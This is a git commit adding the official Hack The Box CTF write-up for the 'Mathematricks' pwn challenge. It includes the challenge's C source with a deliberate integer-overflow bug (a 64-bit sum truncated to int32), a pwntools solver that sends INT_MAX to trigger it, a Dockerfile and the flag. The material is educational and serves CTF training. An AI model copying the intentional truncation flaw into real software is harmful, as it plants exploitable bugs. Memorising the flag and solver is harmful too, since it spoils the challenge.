added official hacktheboo2024 writeups

This commit is contained in:
eplots 2024-10-23 11:10:43 +02:00
parent 1f7a9b0566
commit e3c46450f7
327 changed files with 14303 additions and 0 deletions

View file

@ -0,0 +1,8 @@
FROM alpine:latest
RUN apk add --no-cache socat dash && ln -sf /usr/bin/dash /bin/sh
EXPOSE 1337
RUN addgroup -S ctf && adduser -S ctf -G ctf
COPY challenge/ /home/ctf/
WORKDIR /home/ctf
USER ctf
CMD ["socat", "tcp-l:1337,reuseaddr,fork", "EXEC:./mathematricks"]

View file

@ -0,0 +1,245 @@
![](assets/banner.png)
<img src="assets/htb.png" style="margin-left: 20px; zoom: 80%;" align=left /> <font size="10">Mathematricks</font>
9<sup>th</sup> September 2024 / Document No. DYY.102.XX
Prepared By: w3th4nds
Challenge Author(s): w3th4nds
Difficulty: <font color=green>Very Easy</font>
Classification: Official
# Synopsis
Mathematricks is a very easy difficulty challenge that features integer overflow vulnerability.
# Description
How about a magic trick? Or a math trick? Beat me and I will give you an amazing reward!
## Skills Required
- Basic C.
## Skills Learned
- Integer Overflow.
# Enumeration
First of all, we start with a `checksec`:
```console
pwndbg> checksec
Arch: amd64
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
```
### Protections 🛡️
As we can see, all protection are enabled:
| Protection | Enabled | Usage |
| :---: | :---: | :---: |
| **Canary** | ✅ | Prevents **Buffer Overflows** |
| **NX** | ✅ | Disables **code execution** on stack |
| **PIE** | ✅ | Randomizes the **base address** of the binary |
| **RelRO** | **Full** | Makes some binary sections **read-only** |
The program's interface
![](assets/inter.png)
![](assets/inter1.png)
The challenge seems to have only 4 questions. The first 3 are pretty easy, leaving only the last one a bit more tricky. Well, without imaginary numbers, it's not possible to achieve the result of `(n1, n2) > 0 && (n1 + n2) < 0`. In `C` though, there is a limit to the integer values we can enter.
### Disassembly
Starting with `main()`:
```c
00001925 int32_t main(int32_t argc, char** argv, char** envp)
00001925 {
0000193a void* fsbase;
0000193a int64_t var_10 = *(uint64_t*)((char*)fsbase + 0x28);
00001940 banner();
0000194a while (true)
0000194a {
0000194a uint64_t rax_3 = menu();
00001953 if (rax_3 == 1)
00001953 {
00001962 game();
00001962 /* no return */
00001953 }
00001959 if (rax_3 != 2)
00001959 {
00001959 break;
00001959 }
0000196e rules();
0000194a }
0000198e printf("%s\n\t\t\t[???????????]\n\n", "\x1b[1;31m");
00001998 exit(0x520);
00001998 /* no return */
00001925 }
```
We see a call to `game()`. Taking a look at this:
```c
00001700 void game() __noreturn
00001700 {
00001715 void* fsbase;
00001715 int64_t var_10 = *(uint64_t*)((char*)fsbase + 0x28);
00001725 printstr(&data_2180);
00001734 printstr("\t\tQ1: 1 + 1 = ?\n\n\t\t> ");
00001747 if (read_num() != 2)
00001747 {
00001753 printstr("\n\t\t[!] Elementary school open…");
0000175d exit(0x520);
0000175d /* no return */
00001747 }
00001785 printf("\n\t\t%s[+] THAT WAS AMAZING!\n\n…", "\x1b[1;32m", "\x1b[1;34m");
00001794 printstr("\t\tQ2: 2 - 1 = ?\n\n\t\t> ");
000017a7 if (read_num() != 1)
000017a7 {
000017b3 printstr("\n\t\t[!] Elementary school open…");
000017bd exit(0x520);
000017bd /* no return */
000017a7 }
000017e5 printf("\n\t\t%s[+] WE HAVE A MATHEMATIC…", "\x1b[1;32m", "\x1b[1;36m");
000017f4 printstr("\t\tQ3: 1337 - 1337 = ?\n\n\t\t> ");
00001806 if (read_num() != 0)
00001806 {
00001812 printstr("\n\t\t[!] High school opens at 0…");
0000181c exit(0x520);
0000181c /* no return */
00001806 }
00001844 printf("\n\t\t%s[+] GOD OF MATHS JUST EN…", "\x1b[1;32m", "\x1b[1;34m");
00001853 printstr("\t\tQ4: Enter 2 numbers n1, n2 w…");
0000185d uint64_t n1 = read_num();
00001870 printstr("\n\t\tn2: ");
0000187a uint64_t n2 = read_num();
0000189e if ((n1 > 0 && n2 > 0))
0000189e {
000018bd if ((n2 + n1) >= 0)
000018bd {
000018d5 printstr("\n\t\t[!] Hacking school opens a…");
000018bd }
000018bd else
000018bd {
000018c4 read_flag();
000018bd }
000018df exit(0x520);
000018df /* no return */
0000189e }
000018aa printstr("\n\t\t[!] Hacking school opens a…");
000018b4 exit(0x520);
000018b4 /* no return */
00001700 }
```
First of all, we can see the answers of the first 3 questions. Then, for the last question, we need to take into consideration this part of code:
```c
00001853 printstr("\t\tQ4: Enter 2 numbers n1, n2 w…");
0000185d uint64_t n1 = read_num();
00001870 printstr("\n\t\tn2: ");
0000187a uint64_t n2 = read_num();
0000189e if ((n1 > 0 && n2 > 0))
0000189e {
000018bd if ((n2 + n1) >= 0)
000018bd {
000018d5 printstr("\n\t\t[!] Hacking school opens a…");
000018bd }
000018bd else
000018bd {
000018c4 read_flag();
000018bd }
000018df exit(0x520);
000018df /* no return */
0000189e }
000018aa printstr("\n\t\t[!] Hacking school opens a…");
000018b4 exit(0x520);
000018b4 /* no return */
00001700 }
```
The crucial part here is that these 2 numbers are `uint64_t`, meaning they are `unsigned int` for 64-bit. This is probably a fault of the decompiler, because in the source code (it's not provided, just for demonstration purposes), we can see that indeed these 2 numbers are `unsigned` but the result is a `signed 32` or `int32_t`.
```c
int64_t n1, n2;
printstr("\t\tQ4: Enter 2 numbers n1, n2 where n1 > 0 and n2 > 0 and n1 + n2 < 0\n\n\t\tn1: ");
n1 = read_num();
printstr("\n\t\tn2: ");
n2 = read_num();
int32_t n3 = n1 + n2;
if (n1 <= 0 || n2 <= 0) {
printstr("\n\t\t[!] Hacking school opens at 13:37 AM, don't miss it!\n\n");
exit(1312);
}
(n3 < 0) ? read_flag() : printstr("\n\t\t[!] Hacking school opens at 13:37 AM, don't miss it!\n\n");
exit(1312);
}
```
Taking a look at the `INT_MAX` value in `C`:
![](assets/int.png)
If we try to store this value to one of the numbers, and something else to the other, we can achieve an `Integer Overflow` and get the flag.
# Solution
```python
#!/usr/bin/python3
from pwn import *
import warnings
import os
warnings.filterwarnings('ignore')
context.arch = 'amd64'
context.log_level = 'critical'
fname = './mathematricks'
LOCAL = False
os.system('clear')
if LOCAL:
print('Running solver locally..\n')
r = process(fname)
else:
IP = str(sys.argv[1]) if len(sys.argv) >= 2 else '0.0.0.0'
PORT = int(sys.argv[2]) if len(sys.argv) >= 3 else 1337
r = remote(IP, PORT)
print(f'Running solver remotely at {IP} {PORT}\n')
sla = lambda x,y : r.sendlineafter(x,y)
sla('🥸 ', '1') # play game
# Questions
sla('> ', '2')
sla('> ', '1')
sla('> ', '0')
sla('n1: ', '2147483647') # INT_MAX
sla('n2: ', '1337')
print(f'Flag --> {r.recvline_contains(b"HTB").strip().decode()}\n')
```

Binary file not shown.

After

Width:  |  Height:  |  Size: 73 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 45 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 22 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 42 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 41 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 42 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 51 KiB

View file

@ -0,0 +1,3 @@
#!/bin/sh
docker build --tag=mathematricks .
docker run -it -p 1337:1337 --rm --name=mathematricks mathematricks

View file

@ -0,0 +1 @@
HTB{m4th3m4tINT_5tuff}

View file

@ -0,0 +1,35 @@
#!/usr/bin/python3
from pwn import *
import warnings
import os
warnings.filterwarnings('ignore')
context.arch = 'amd64'
context.log_level = 'critical'
fname = './mathematricks'
LOCAL = False
os.system('clear')
if LOCAL:
print('Running solver locally..\n')
r = process(fname)
else:
IP = str(sys.argv[1]) if len(sys.argv) >= 2 else '0.0.0.0'
PORT = int(sys.argv[2]) if len(sys.argv) >= 3 else 1337
r = remote(IP, PORT)
print(f'Running solver remotely at {IP} {PORT}\n')
sla = lambda x,y : r.sendlineafter(x,y)
sla('🥸 ', '1') # play game
# Questions
sla('> ', '2')
sla('> ', '1')
sla('> ', '0')
sla('n1: ', '2147483647') # INT_MAX
sla('n2: ', '1337')
print(f'Flag --> {r.recvline_contains(b"HTB").strip().decode()}\n')

View file

@ -0,0 +1,16 @@
# Name of PROG and CFLAGS shall be changed.
PROG = mathematricks # CHANGE THIS
SRC = main.c
CFLAGS = -fstack-protector-all -Wl,-z,relro,-z,now -w -Xlinker -rpath=./glibc/ -Xlinker -I./glibc/ld-linux-x86-64.so.2
all: compile
compile:
@echo "Compiling $(SRC) -> $(PROG)"
gcc $(SRC) -o $(PROG) $(CFLAGS)
clean:
rm -f $(PROG)

View file

@ -0,0 +1,141 @@
#include <time.h>
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>
#define RED "\e[1;31m"
#define GREEN "\e[1;32m"
#define YELLOW "\e[1;33m"
#define BLUE "\e[1;34m"
#define MAGENTA "\e[1;35m"
#define CYAN "\e[1;36m"
#define LIGHT_GRAY "\e[1;37m"
#define RESET "\e[0m"
#define SIZE 32
/*
* Compile a program with older libc:
docker run -v "${PWD}:/mnt" -it debian:latest bash
apt update; apt install -y gcc make vim gdb tmux && cd /mnt
*/
void error(char *msg) {
printf("\n%s[-] %s%s\n", RED, msg, BLUE);
}
void cls() {
printf("\033[2J");
printf("\033[%d;%dH", 0, 0);
}
void read_flag() {
char c;
int fp = open("./flag.txt", O_RDONLY);
if (fp < 0) {
perror("\nError opening flag.txt, please contact an Administrator\n");
exit(EXIT_FAILURE);
}
while ( read(fp, &c, 1) > 0 )
fprintf(stdout, "%c", c);
close(fp);
}
uint64_t read_num() {
char temp[32] = {0};
read(0, temp, 31);
return strtoul(temp, 0x0, 0);
}
void printstr(char *s) {
for (size_t i = 0; i < strlen(s); i++){
putchar(s[i]);
usleep(2000);
}
}
void banner(void) {
cls();
char *col[7] = {YELLOW, CYAN, GREEN, RED, BLUE, MAGENTA, LIGHT_GRAY};
srand(time(NULL));
puts(col[rand() % 6]);
printstr("\t🎉 ~~ w3lC0m3 2 tH3 M4th3M4tR1kCs c0nt35t ~~ 🎉\n\n");
}
uint64_t menu() {
printstr(""
"\t\t\t■ ■ ■ ■ ■ ■ ■\n"
"\t\t\t■ ■\n"
"\t\t\t■ 1. Play ■\n"
"\t\t\t■ 2. Rules ■\n"
"\t\t\t■ ■\n"
"\t\t\t■ ■ ■ ■ ■ ■ ■\n\n\t\t\t🥸 ");
return read_num();
}
void game() {
printstr("\n\t\t🎉 ~~ Let the game begin! ~~ 🎉\n\n");
printstr("\t\tQ1: 1 + 1 = ?\n\n\t\t> ");
if (read_num() != 2) {
printstr("\n\t\t[!] Elementary school opens at 07:00 AM, don't miss it!\n\n");
exit(1312);
}
printf("\n\t\t%s[+] THAT WAS AMAZING!\n\n%s", GREEN, BLUE);
printstr("\t\tQ2: 2 - 1 = ?\n\n\t\t> ");
if (read_num() != 1) {
printstr("\n\t\t[!] Elementary school opens at 07:00 AM, don't miss it!\n\n");
exit(1312);
}
printf("\n\t\t%s[+] WE HAVE A MATHEMATICIAN AMONG US!\n\n%s", GREEN, CYAN);
printstr("\t\tQ3: 1337 - 1337 = ?\n\n\t\t> ");
if (read_num() != 0) {
printstr("\n\t\t[!] High school opens at 07:00 AM, don't miss it!\n\n");
exit(1312);
}
printf("\n\t\t%s[+] GOD OF MATHS JUST ENTERED THE CHAT..\n\n%s", GREEN, BLUE);
int64_t n1, n2;
printstr("\t\tQ4: Enter 2 numbers n1, n2 where n1 > 0 and n2 > 0 and n1 + n2 < 0\n\n\t\tn1: ");
n1 = read_num();
printstr("\n\t\tn2: ");
n2 = read_num();
int32_t n3 = n1 + n2;
if (n1 <= 0 || n2 <= 0) {
printstr("\n\t\t[!] Hacking school opens at 13:37 AM, don't miss it!\n\n");
exit(1312);
}
(n3 < 0) ? read_flag() : printstr("\n\t\t[!] Hacking school opens at 13:37 AM, don't miss it!\n\n");
exit(1312);
}
void rules() {
printstr("\n"
"\t\t\t■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■\n"
"\t\t\t■ ■\n"
"\t\t\t■ Solve the math questions to get the flag, some of them are tricky! ■\n"
"\t\t\t■ ■\n"
"\t\t\t■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■ ■\n\n"
);
}
int main(void) {
banner();
for (;;) {
switch ( menu() ) {
case 1: game(); break;
case 2: rules(); break;
default: printf("%s\n\t\t\t[???????????]\n\n", RED); exit(1312);
}
}
return 0;
}
__attribute__((constructor))
void setup(void) {
cls();
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
alarm(0x1312);
}